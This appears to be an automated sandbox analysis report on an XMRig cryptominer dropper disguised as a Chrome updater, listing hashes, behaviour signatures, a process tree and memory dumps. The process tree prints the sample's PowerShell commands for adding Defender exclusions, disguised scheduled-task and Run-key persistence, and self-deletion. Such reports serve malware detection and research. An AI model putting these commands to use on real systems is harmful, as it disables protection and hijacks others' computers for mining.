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Resubmissions

21/07/2024, 20:17

240721-y27lvsvfll 10

06/06/2024, 10:00

240606-l14glacf9x 10

06/06/2024, 10:00

240606-l12yrscf9w 10

06/06/2024, 09:56

240606-lyrd9acf71 10

06/06/2024, 09:55

240606-lx1xascf7v 10

06/06/2024, 09:55

240606-lxyf6scf7t 10

06/06/2024, 09:35

240606-lkvvhsce2y 10

06/06/2024, 09:32

240606-lhs8xacd7v 10

06/06/2024, 09:32

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    1800s
  • max time network
    1801s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 09:56

General

  • Target

    qM5GMXBk6hJE6Y5e (28).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3532
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1136
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1424
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:972
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:1336
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (28).exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3192
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1988
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:756
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4368
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1312
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:4760
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:2248
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1972
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:3208
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic PATH Win32_VideoController GET Name, VideoProcessor
                3⤵
                • Detects videocard installed
                PID:2476

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Program Files\Google\Chrome\updater.exe

            Filesize

            2.0MB

            MD5

            a16a669a09bf158058b83e04e69fe38e

            SHA1

            f6c94763850d9e590d86057139e8895a7aacdeea

            SHA256

            cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

            SHA512

            658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

          • C:\Program Files\Google\Libs\g.log

            Filesize

            226B

            MD5

            fdba80d4081c28c65e32fff246dc46cb

            SHA1

            74f809dedd1fc46a3a63ac9904c80f0b817b3686

            SHA256

            b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

            SHA512

            b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            62623d22bd9e037191765d5083ce16a3

            SHA1

            4a07da6872672f715a4780513d95ed8ddeefd259

            SHA256

            95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

            SHA512

            9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            6635b46bde21bfd5e300cac1fddf9a0e

            SHA1

            63d383bffc22b108dfab74cb3d4d39bafb26bbae

            SHA256

            8b054e59a93bdeead2b5583a8050a8e1fd9f9d32789253cbcea62b65d6a98722

            SHA512

            e11daa29ec26ad420c4d1453a95bda950a1dcddecdbe3abb31b2e4127602482533a20b7f8ee1752ea9e4d9ebe34253b2a9e97edfaaf8d416356c423e7a9805fb

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_anmdfsgs.ez2.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            4KB

            MD5

            bdb25c22d14ec917e30faf353826c5de

            SHA1

            6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

            SHA256

            e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

            SHA512

            b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

          • C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            b42c70c1dbf0d1d477ec86902db9e986

            SHA1

            1d1c0a670748b3d10bee8272e5d67a4fabefd31f

            SHA256

            8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

            SHA512

            57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

          • memory/756-73-0x000001C81F320000-0x000001C81F33A000-memory.dmp

            Filesize

            104KB

          • memory/756-68-0x000001C81F0C0000-0x000001C81F0DC000-memory.dmp

            Filesize

            112KB

          • memory/756-72-0x000001C81EE70000-0x000001C81EE7A000-memory.dmp

            Filesize

            40KB

          • memory/756-71-0x000001C81F300000-0x000001C81F31C000-memory.dmp

            Filesize

            112KB

          • memory/756-74-0x000001C81F2E0000-0x000001C81F2E8000-memory.dmp

            Filesize

            32KB

          • memory/756-70-0x000001C81EE60000-0x000001C81EE6A000-memory.dmp

            Filesize

            40KB

          • memory/756-76-0x000001C81F340000-0x000001C81F34A000-memory.dmp

            Filesize

            40KB

          • memory/756-75-0x000001C81F2F0000-0x000001C81F2F6000-memory.dmp

            Filesize

            24KB

          • memory/756-69-0x000001C81F0E0000-0x000001C81F195000-memory.dmp

            Filesize

            724KB

          • memory/1136-2-0x0000017C66520000-0x0000017C66542000-memory.dmp

            Filesize

            136KB

          • memory/1136-13-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1136-16-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1136-12-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1136-1-0x00007FFDB4F13000-0x00007FFDB4F15000-memory.dmp

            Filesize

            8KB

          • memory/1312-114-0x00007FF733F80000-0x00007FF733F96000-memory.dmp

            Filesize

            88KB

          • memory/1312-110-0x00007FF733F80000-0x00007FF733F96000-memory.dmp

            Filesize

            88KB

          • memory/1424-34-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1424-28-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1424-32-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1424-31-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1424-30-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1424-18-0x00007FFDB4F10000-0x00007FFDB59D1000-memory.dmp

            Filesize

            10.8MB

          • memory/1600-0-0x00007FF7E1D70000-0x00007FF7E1F81000-memory.dmp

            Filesize

            2.1MB

          • memory/1600-36-0x00007FF7E1D70000-0x00007FF7E1F81000-memory.dmp

            Filesize

            2.1MB

          • memory/1972-107-0x00007FF7ED840000-0x00007FF7EDA51000-memory.dmp

            Filesize

            2.1MB

          • memory/1972-49-0x00007FF7ED840000-0x00007FF7EDA51000-memory.dmp

            Filesize

            2.1MB

          • memory/2248-135-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-139-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-167-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-113-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-108-0x000001B7BC770000-0x000001B7BC790000-memory.dmp

            Filesize

            128KB

          • memory/2248-115-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-117-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-119-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-137-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-123-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-125-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-127-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-129-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-131-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-111-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-133-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-121-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-109-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-141-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-143-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-145-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-147-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-149-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-151-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-153-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-155-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-157-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-159-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-161-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-163-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/2248-165-0x00007FF6B0D60000-0x00007FF6B1554000-memory.dmp

            Filesize

            8.0MB

          • memory/4368-99-0x000002A4C9090000-0x000002A4C9145000-memory.dmp

            Filesize

            724KB